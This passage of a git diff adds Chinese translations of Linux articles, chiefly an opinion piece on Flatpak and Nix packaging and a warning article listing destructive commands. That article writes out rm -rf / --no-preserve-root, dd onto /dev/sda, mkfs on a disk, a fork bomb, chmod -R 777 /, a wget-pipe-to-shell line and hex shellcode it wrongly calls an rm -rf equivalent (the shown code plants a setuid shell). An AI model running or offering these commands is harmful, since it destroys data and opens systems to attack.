卡。不管如何,你都可以单独下载树莓派操作系统文件进行设置。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/raspberry-pi-os-sep-update/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[zjsoftceo](https://github.com/zjsoftceo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/raspberry-pi-os.jpg +[2]: https://www.raspberrypi.com/software/ +[3]: https://news.itsfoss.com/debian-11-feature/ +[4]: https://news.itsfoss.com/content/images/2022/09/menu.png +[5]: https://news.itsfoss.com/content/images/2022/09/mic.png +[6]: https://itsfoss.com/linux-daemons/ +[8]: https://news.itsfoss.com/content/images/2022/09/nm.png +[9]: https://www.raspberrypi.com/news/the-latest-update-to-raspberry-pi-os/ +[10]: https://www.raspberrypi.com/software/ diff --git a/published/202209/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/published/202209/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md new file mode 100644 index 0000000000..6da7567b79 --- /dev/null +++ b/published/202209/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -0,0 +1,218 @@ +[#]: subject: "Traditional Linux Packaging is not Suitable for Modern Applications [Opinion]" +[#]: via: "https://news.itsfoss.com/traditional-packaging-modern-applications/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15027-1.html" + +传统的 Linux 软件包格式不适合现代应用 +====== + +> 开源贡献者 Hari Rana 表达了他对传统 Linux 软件包格式不再适合现代应用的看法。 + +![传统的 Linux 软件包格式不适合现代应用][1] + +*图片来源:来自 [Unsplash][2] 的 [Kelli McClintock][3]* + +我多次遇到用户抱怨 LTS 和稳定版的应用软件包有问题,但又声称开发版从来没有发生过这种事情。然而,以我在软件包技术方面的经验和知识,我不能不强调,这是不对的。 + +发行模式不是问题的根源所在,根本的问题是传统的软件包格式不适合现代的图形应用,不管是什么发行版。那么像 Nix 和 Flatpak 这样的格式是如何解决这些基本问题的?有趣的是,大多数服务器确实利用了容器化(即 Docker),因为它提高了可重复性并增强了可维护性。我们可以从中得到启发,采用一个适用于 Linux 桌面的类似标准。 + +### 免责声明 + +1. “传统软件包”是指使用包管理器发布的图形应用程序,而不使用容器,如 `apt`、`dnf`、`pacman` 等。 +2. “发行模式”是指发行过程,如长期支持版(LTS)、稳定版和开发版等。 +3. “类似的应用程序”是指两个在技术上真正相似的应用程序,如 [Visual Studio Code][4] 和 [Code - OSS][5]。 +4. 在这些例子中,我将使用 Arch Linux 作为参考。然而,这些行为与那些大量采用传统软件包格式的发行版是一致的。 +5. Nix 不使用容器,它也不是一种容器格式。但为了简单起见,我暂时把它称为一种容器格式。 + +### 根本问题 + +![][6] + +*图片来源:来自 [Unsplash][7] 的 [Jackson Simmer][8]* + +大多数(或许不是全部)大量采用传统软件包格式的发行版都有这个共同的问题:它们都没有利用容器或其他方便的方法来分离依赖关系。用通俗的话说,容器是一个盒子,我们可以把东西放在里面,在不影响主系统(主机)的情况下单独使用它们。 + +容器通常不会影响“盒子”外的任何东西。并且它们是可移植的,因为它们可以安装在其他发行版上,同时提供一致的体验。利用容器的包管理器会将每个软件包安装在不同的容器中,这提供了一个额外的安全层。这给了开发者更多的控制权和灵活性,他们可以决定在软件包内捆绑什么。 + +传统的软件包格式产生了一些问题,比如依赖性和包的冲突,这些问题通常需要解决,而不同的发行版有不同的解决办法。 + +#### 依赖性和软件包的冲突 + +如果我们试图安装 [Visual Studio Code][9]([visual-studio-code-bin][10]),而 [Code - OSS][11]([code][12]) 已经安装在 Arch Linux 上,我们会遇到这个问题: + +``` +$ paru -S visual-studio-code-bin +[...] +:: Conflicts found: + visual-studio-code-bin: code +:: Conflicting packages will have to be confirmed manually +Aur (1) Old Version New Version Make Only +aur/visual-studio-code-bin 1.70.1-1 No +``` + +这就是所谓的软件包冲突,即两个或多个软件包不能共存。在这种情况下,我们不能同时安装 Visual Studio Code 和 Code - OSS。 + +当两个应用程序或软件包提供相同的文件,具有相同的名称,并被放置在同一目录下,那么它们实际上是不能共存的,因为这些文件会发生冲突。在这个例子中,Visual Studio Code 和 Code - OSS 都提供了一个名为 `code` 的文件,它们都被放在 `/usr/bin` 中。Visual Studio Code 提供的 `code` 文件用于启动 Visual Studio Code,而 Code - OSS 的 `code` 文件则用于启动 Code - OSS。 +虽然这个例子只展示了 Visual Studio Code 和 Code - OSS,但这种情况经常发生在不同的应用程序、库和其他软件中。 + +#### 无法选择依赖项 + +![][13] + +*图片来源:来自 [Unsplash][14] 的 [Priscilla Du Preez][15]* + +传统软件包格式的最大问题之一是,打包者不能选择依赖项。 + +例如,如果一个应用程序最近更新,需要依赖版本 1 的程序 A,但发行版只提供了版本 0.9 的程序 A,那么对于升级该应用程序来说就不太理想,因为发行版无法满足要求。这意味着打包者将不得不暂缓打包,直到该发行版发布新的依赖项,或者采用变通的方法。 + +同样,如果一个应用程序需要依赖 0.8.1 版本的程序 A,但发行版却只提供了 0.9 版本的程序 A,那么这个应用程序就会表现失常,甚至完全不能运行。 + +##### 带补丁的库和编译配置 + +为了扩展,一些应用程序需要带补丁的库或额外的编译配置才能正常运行。例如,OBS Studio 需要一个 [打了补丁的 FFmpeg][16] 来与 OBS Studio 更好地整合。 + +在传统的软件包格式下,一次只能安装一个依赖项的变体。如果发行版提供的是未打过补丁的 FFmpeg,那么就没有办法安装打过补丁的 FFmpeg,除非打包者能解决这个问题。如果安装了打过补丁的 FFmpeg,但另一个程序高度依赖未打过补丁的 FFmpeg、打过其他补丁的 FFmpeg、内置或删除了其他功能的 FFmpeg,那么其他程序就会出现 bug。 + +现代应用程序本质上是脆弱的。依赖关系树中的一个小错误或不一致,就会导致应用程序的 bug,使用户体验恶化,甚至会让人觉得是应用程序的问题,而不是软件包本身的问题,这就会妨碍应用程序的声誉。 + +#### 变通方法 + +让我们看看目前开发者用来打包应用程序的变通方法: + +1. 第一种解决方法是在不同的目录中安装依赖库。例如,Electron 是一个巨大的框架,开发者用它来构建应用程序,然后将它们捆绑起来。然而,基于 Electron 的应用程序是不同的,因为它们是建立在不同版本的 Electron 之上的。Discord 捆绑了 Electron 13,而 Element 捆绑了 Electron 19。对于 Arch Linux 上的 Electron 打包,某些目录需要安装在 `/opt/APPLICATION_NAME` 中,所以这些 Electron 版本 [不会相互冲突][17]。 +2. 第二种解决方法是篡改应用程序。例如,给应用程序打上补丁,使其在没有某些依赖库或功能的情况下编译,这可以使应用程序成功编译,但不能保证该应用程序能够启动或按预期工作。 +4. 第三种解决方法是在编译应用程序时禁用许多编译选项,这也可能禁用一些功能。例如,在 Arch Linux 上,OBS Studio 在编译时禁用了许多基本功能,这 [导致了不合格的体验][18]。 + +这些解决方法因人而异,有些会限制应用程序的功能,有些会引入稳定性问题等等。 + +#### 不一致的体验 + +![西班牙兰萨罗特岛(加那利群岛)的蒂曼法亚火山国家公园的火山口景观][19] + +*图片来源:来自 [Unsplash][20] 的 [alevision.co][21]* + +虽然这些技术限制在整个传统软件包格式中是一致的,但用户体验往往不是这样。由于软件包的发布方式,发行模式与传统软件包格式相结合会影响用户体验。 + +一些发行版,如 Arch Linux,接近于开发版,因此有最新版本的软件包。然而 Debian 和 Ubuntu LTS 是 LTS 长期支持版,所以它们的很多软件包都落后几个版本。同时,Fedora Linux 和 Ubuntu 稳定版处于 Debian / Ubuntu LTS 和 Arch Linux 之间。 + +一些软件包格式喜欢尽可能少地给软件包打补丁,以保持它们最接近原版;而另一些格式打补丁是为了增加更多的功能,使用旧库或进行其他类型的更改,以改善用户体验。一些格式喜欢使软件更加轻量化;而另一些格式更喜欢尽可能地添加更多内置功能。软件包有各种各样的习惯和偏好。 + +正如我们所看到的,一个应用程序在不同的发行版中的构建方式非常不同。此外,不同的发行版的依赖关系也是不同的。传统软件包格式的许多技术限制需要根据发行模式和打包策略采取不同的解决方法。这些微小的变化往往给用户带来不完整的、不合格的体验和错误的印象。一些应用程序可能在某些发行版上运行得更好,但在其他发行版上运行得很差,而其他一些应用程序则运行得更好。即使一个应用程序在每个发行版上的构建方式不同,但其名称和品牌却保持原样,给用户留下错误的印象。 + +### 解决方案 + +![][22] + +*图片来源:来自 [Unsplash][23] 的 [Riccardo Annandale][24]* + +如上所述,解决这些问题的方法是使用容器。 + +容器被设计用来分离系统的几个方面。通过使用容器,打包者可以挑选依赖项而不受主机上的库限制。因此,打包者可以发布最新的、功能完整的软件包,同时保持发行的稳定性。 + +这一点非常重要,因为这些容器格式可以将应用程序和发行版发挥出最大的作用,而不会对系统造成破坏性的影响。 + +#### Nix 和 Flatpak + +[Nix][25] 是一个跨平台的包管理器,可以在类 Unix 操作系统中运行,如 Linux 发行版、BSD 和 macOS。Nix 有几个 [通道][26](分支)供用户使用。 + +另一方面,[Flatpak][27] 是一个用于 Linux 桌面的通用软件包格式,它也利用容器,但另外还有沙盒来隔离它们。它旨在以后可以供普通人使用,并被设计为与软件商店(如 GNOME “软件Software” 和 KDE “发现Discover)集成。换句话说,Flatpak 更像是发行版的一个扩展,而不是一个软件包格式的替代品,因为它的设计初衷不是为了取代系统包管理器。 + +如果使用 NixOS 等发行版,Nix 也可以作为一种扩展或单独使用。 + +#### 类似的应用 + +Nix 和 Flatpak 解决了传统软件包格式的许多基本问题。由于应用程序的分离,这些格式可以安装类似的应用程序,如 Visual Studio Code 和 Code - OSS,而不会冲突。 + +#### 多个版本 + +Nix 和 Flatpak 可以安装同一个应用程序的多个版本。使用 Nix,我可以从 `nixpkgs-stable`(LTS)安装应用程序,同时也可以从 `nixpkgs-unstable`(开发版)安装同一个应用程序。 + +同样地,使用 Flatpak,我可以同时从 `stable` 和 `beta` 分支安装应用程序。我可以从更多的途径和分支继续安装同一个应用程序,而不会遇到冲突。 + +#### 挑剔的依赖项 + +![采摘樱桃][28] + +*图片来源:来自 [Unsplash][29] 的 [Ish de loyola][30]* + +此外,打包者可以将应用程序与不同变体的库捆绑在一起,从而有机会启用更多的构建选项,并使用打过补丁或特定版本的库,从而为用户提供完整的体验。 + +这意味着打包者可以将打了补丁的 FFmpeg 与 OBS Studio 捆绑在一起,只为了用在 OBS Studio 中。如果我在主机上安装了普通的 FFmpeg,那么 OBS Studio 的补丁 FFmpeg 就不会与主机的 FFmpeg 发生干扰或冲突。 + +#### 各个发行版的环境都是一致的 + +如上所述,各发行版使用不同的补丁、构建选项和环境构建应用程序。这导致了应用程序的碎片化,每个应用程序的构建方式和工作方式往往不尽相同。由于 Nix 和 Flatpak 是为跨发行版运行而设计的,它们在每个发行版中为应用程序提供一致的环境,前提是发行版提供了 Nix 或 Flatpak 的支持版本。 + +#### 缺点 + +就像所有事物一样,Nix 和 Flatpak 不是完美的。由于最近在 Linux 桌面上容器技术得到了推崇,它们可能为许多应用程序提供了不寻常的环境。 + +Flatpak 不仅包含了应用程序,还对它们进行沙盒处理。Flatpak 的开发者已经实施了一个短期的变通方案,“在沙盒上打洞”,即所谓的静态权限。他们正在开发适当的长期解决方案,称为 [XDG 门户][31],以解决有关沙盒的许多问题,并使其像 Android 的安全模型一样。 + +唯一的短期问题是,工具包、框架和应用程序必须采用这些标准。GTK 和 Qt 这样的工具包集成了其中一些门户portal,但它们也需要时间来集成其他的门户。同时,许多其他的工具箱还没有真正集成任何门户。 + +工具包、框架和应用程序采用这些新标准是一个时间问题,因为在 XDG 门户之前没有任何适当的标准。应用程序可以直接访问文件系统和 API,所以静态权限保持这种 “标准”。 + +### 结论 + +传统软件包格式的根本问题是它没有利用容器。许多图形化的应用程序本质上是复杂的,需要非常具体的依赖关系才能按预期运行。许多发行版通过使用变通的方法在不同的环境中构建同一个应用程序,例如给应用程序打补丁或禁用某些构建选项。这导致了一个应用程序的不同变体、不一致的行为和不合格的用户体验。 + +当然,发行版的维护者不可能在几天内现实地重写他们的包管理器并使用容器。这些重写会破坏许多脚本、功能等,而且还需要很长时间才能投入生产环境。 + +我个人的建议是使用和推广 Flatpak,因为它只是为了扩展现有的发行版,而不是取代它。打包者不必担心打包应用程序,以及诉诸变通的问题,因为 Flatpak 已经在处理这些问题了。 + +作者 Hari Rana [最初发表于此博客][32]。 + +Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质量保证(QA)的一员。Hari 希望通过推广各种技术和帮助需要帮助的人,为 Linux 桌面的采用作出贡献。 + +**本文所表达的观点和意见是作者本人的,并不代表我们的观点。** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/traditional-packaging-modern-applications/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/team/ +[b]: https://github.com/lkxed +[1]: https://images.unsplash.com/photo-1573376670774-4427757f7963?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDY2fHxwYWNrYWdpbmd8ZW58MHx8fHwxNjYyNzgzMzY1&ixlib=rb-1.2.1&q=80&w=1200 +[2]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[3]: https://unsplash.com/es/@kelli_mcclintock?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[4]: https://code.visualstudio.com/ +[5]: https://github.com/microsoft/vscode +[6]: https://images.unsplash.com/photo-1612933510543-5b442296703b?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDEwfHxwcm9ibGVtfGVufDB8fHx8MTY2Mjc4MzEwNg&ixlib=rb-1.2.1&q=80&w=2000 +[7]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[8]: https://unsplash.com/@simmerdownjpg?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[9]: https://code.visualstudio.com/ +[10]: https://aur.archlinux.org/packages/visual-studio-code-bin +[11]: https://github.com/microsoft/vscode +[12]: https://archlinux.org/packages/community/x86_64/code/ +[13]: https://images.unsplash.com/photo-1601001816339-74036796370c?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 +[15]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[14]: https://unsplash.com/@priscilladupreez?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[16]: https://github.com/obsproject/obs-studio/blob/fe889ec28ebd2f323b5933b7b11c5a9207539c59/CI/flatpak/com.obsproject.Studio.json#L259-L261 +[17]: https://wiki.archlinux.org/index.php?title=Electron_package_guidelines&oldid=661963#Directory_structure +[18]: https://www.youtube.com/watch?v=FPjEdrik-eQ +[19]: https://images.unsplash.com/photo-1595399822864-94ec54889cc7?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGJ1bXB5JTIwcm9hZHxlbnwwfHx8fDE2NjI3ODQ3MTI&ixlib=rb-1.2.1&q=80&w=2000 +[20]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[21]: https://unsplash.com/@alevisionco?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[22]: https://images.unsplash.com/photo-1474631245212-32dc3c8310c6?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDR8fHNvbHV0aW9ufGVufDB8fHx8MTY2Mjc4MzI5NA&ixlib=rb-1.2.1&q=80&w=2000 +[23]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[24]: https://unsplash.com/@pavement_special?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[25]: https://github.com/NixOS/Nix +[26]: https://nixos.wiki/wiki/Nix_channels +[27]: https://flatpak.org/ +[28]: https://images.unsplash.com/photo-1626829622490-43c7d7c80ac8?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 +[29]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[30]: https://unsplash.com/@ishphotos_?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[31]: https://github.com/flatpak/xdg-desktop-portal +[32]: https://theevilskeleton.gitlab.io/2022/08/29/traditional-packaging-is-not-suitable-for-modern-applications.html diff --git a/published/202209/20220911 10 Destructive Linux Commands You Should Never Run.md b/published/202209/20220911 10 Destructive Linux Commands You Should Never Run.md new file mode 100644 index 0000000000..2a18fe75d3 --- /dev/null +++ b/published/202209/20220911 10 Destructive Linux Commands You Should Never Run.md @@ -0,0 +1,219 @@ +[#]: subject: "10 Destructive Linux Commands You Should Never Run" +[#]: via: "https://itsfoss.com/dangerous-linux-commands/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15022-1.html" + +10 大可以摧毁你的 Linux 的命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/12/184637rc8znomk1ok7o2wx.jpg) + +什么是最危险的 Linux 命令? + +有人无数次问我这个问题,我一直避免回答,因为**没有一个明确的危险的 Linux 命令清单**。 + +你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。 + +想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。 + +这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。 + +同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。 + +当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。 + +我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。 + +> **免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。** + +### 1、rm -rf /* + +这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。 + +`rm` 命令用来删除文件/目录。标志 `-r` 和 `-f` 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。 + +运行 [sudo rm -rf /][1] 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 `--no-preserve-root` 才能实际运行它。 + +``` +sudo rm -rf / --no-preserve-root +``` + +然而,一个更简单的版本可以是这样的: + +``` +sudo rm -rf /* +``` + +它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 **grub-rescue** 提示符下。 + +### 2、覆盖你的分区 + +如果你熟悉文件系统,你可能知道 `/dev/sda` 是什么。它(通常)是你的磁盘驱动器分区。`>` 操作符用于将其前面的命令的输出写到所提供的指定位置。 + +一旦你运行任何命令并把它写到 `/dev/sda`,比如说: + +``` +echo "Hello" > /dev/sda +``` + +这将用 `Hello` 字符串替换你的包含启动系统所需的所有数据的分区。 + +### 3、把所有的东西都移到黑洞 + +每个 Linux 系统内都有一个黑洞。而这个黑洞就是 `/dev/null`。 + +无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。 + +``` +mv /home/user/* /dev/null +``` + +[mv 命令][3] 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。 + +### 4、格式化你的硬盘 + +[mkfs][4] 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。 + +``` +mkfs.ext3 /dev/sda +``` + +这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。 + +### 5、fork 炸弹 + +这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。 + +``` +:(){ :|:& };: +``` + +`&` - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 `:` 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。 + +顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。 + +### 6、覆盖重要的配置文件 + +虽然这本身不是一个命令,但它更像是一个预防性的东西。 + +如上所述,`>` 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。 + +``` +command > config_filename +``` + +现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。 + +### 7、用垃圾数据替换分区 + +`/dev/random` 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 [dd 命令][5] 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。 + +``` +dd if=/dev/random of=/dev/sda +``` + +`dd` 命令被用作一个低级别的复制工具。这里,它从 `/dev/random` 中获取随机数据,并用这些垃圾替换 `/dev/sda` 分区。 + +一个类似的效果是通过以下方式获得的: + +``` +cat /dev/urandom > filename +``` + +这里,它从 `/dev/urandom`(LCTT 译注:在 Linux 上,`/dev/urandom` 现在和 `/dev/random` 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 `Ctrl + C` 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。 + +### 8、将你的系统暴露给所有人 + +在 Linux 中,所有东西都是文件,每个 [文件都有一定的权限][6]。 + +你可以用 `ls -l` 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。 + +``` +chmod -R 777 / +``` + +上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。 + +### 9、下载并运行恶意的内容 + +你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。 + +然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 [Homebrew][7] 为例: + +你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗? + +虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容: + +``` +wget http://malicious_source -O- | sh +``` + +这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。 + +### 10、伪装的命令 + +在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令: + +``` +char esp[] __attribute__ ((section(“.text”))) /* e.s.p +release */ += “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” +“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” +“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” +“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” +“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” +“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” +“\x6e\x2f\x73\x68\x00\x2d\x63\x00” +“cp -p /bin/sh /tmp/.beyond; chmod 4755 +/tmp/.beyond;”; +``` + +虽然它看起来很花哨,但这是 `rm -rf` 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。 + +### 总结 + +![pebkac][8] + +有一个著名的计算机术语 PEBKAC:“问题存在于键盘和椅子之间problem exists between keyboard and chair”。 + +因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。 + +> UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。 + +而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。 + +我建议做这些事情以确保更安全的体验。 + +* 尝试并理解你将要运行的命令。 +* 用 Timeshift 保持你的系统设置的备份 +* 用 DejaDup 保持个人数据(主目录)的备份 + +正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。 + +我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/dangerous-linux-commands/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/sudo-rm-rf/ +[2]: https://youtu.be/AiKPo14uVNU +[3]: https://linuxhandbook.com/mv-command/ +[4]: https://linuxhandbook.com/mkfs-command/ +[5]: https://linuxhandbook.com/dd-command/ +[6]: https://linuxhandbook.com/linux-file-permissions/ +[7]: https://itsfoss.com/homebrew-linux/ +[8]: https://itsfoss.com/wp-content/uploads/2022/09/pebkac.jpg diff --git a/published/202209/20220912 GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript.md b/published/202209/20220912 GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript.md new file mode 100644 index 0000000000..1f38807608 --- /dev/null +++ b/published/202209/20220912 GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript.md @@ -0,0 +1,35 @@ +[#]: subject: "GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript" +[#]: via: "https://www.opensourceforu.com/2022/09/gnu-librejs-for-firefox-stops-non-free-non-trivial-javascript/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15037-1.html" + +屏蔽非自由软件的大型 JavaScript 脚本的浏览器扩展 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/16/145522tybcmb2kukgxutcp.jpg) + +一个名为 GNU LibreJS 的 Firefox 浏览器扩展程序旨在自动阻止非自由软件的大型 JavaScript 脚本。与 NoScript 相比,GNU LibreJS 的操作也类似。主要的区别特征之一是 NoScript 在默认情况下会阻止大多数 JavaScript 脚本,而 GNU LibreJS 针对的非自由软件的大型 JavaScript 脚本。 + +GNU LibreJS 源于 Richard Stallman 的一篇名为《JavaScript 陷阱》的文章。Stallman 认为,运行在浏览器上的非自由软件,主要是用 JavaScript 编写的,也有用其他语言编写的。这些应用程序有许多是专有软件或者不开源的,更有甚者其中不乏一些有害的或有问题的程序。Stallman 声称 Google 文档使用的 JavaScript 程序的大小为半兆字节。它是压缩过的,想要理解和分析这样的程序就很具有挑战性。Stallman 将监控用户的 JavaScript 代码称为恶意软件。 + +Stallman 建议不要运行那些复杂的或非常消耗处理能力的 JavaScript。从外部页面加载的脚本、修改 DOM 的脚本以及对 `eval` 的调用,都是符合上面描述的 JavaScript 代码的例子。GNU 网站发布了一个(符合上述描述的)列表。当 GNU LibreJS 安装在 Firefox 和其他兼容的浏览器中时,它会为用户做出这些区分。它会启用那些小型的 JavaScript,并阻止它认为非自由软件的大型 JavaScript 代码。 + +该扩展添加了一个工具栏图标,指示页面上存在多少被阻止的 JavaScript 引用。除了更改整个网站或特定脚本或代码段状态的控件外,单击会显示接受和阻止的 JavaScript。可以将整个网站以及特定脚本或代码片段列入白名单或黑名单。扩展程序会记住之前的设置。提供了显示 JavaScript 代码的选项,以及撤销所有自定义设置或单个自定义设置的选项。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/gnu-librejs-for-firefox-stops-non-free-non-trivial-javascript/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220912 How I recovered my Linux system using a Live USB device.md b/published/202209/20220912 How I recovered my Linux system using a Live USB device.md new file mode 100644 index 0000000000..1411aeb344 --- /dev/null +++ b/published/202209/20220912 How I recovered my Linux system using a Live USB device.md @@ -0,0 +1,139 @@ +[#]: subject: "How I recovered my Linux system using a Live USB device" +[#]: via: "https://opensource.com/article/22/9/recover-linux-system-live-usb" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15080-1.html" + +我如何使用现场 USB 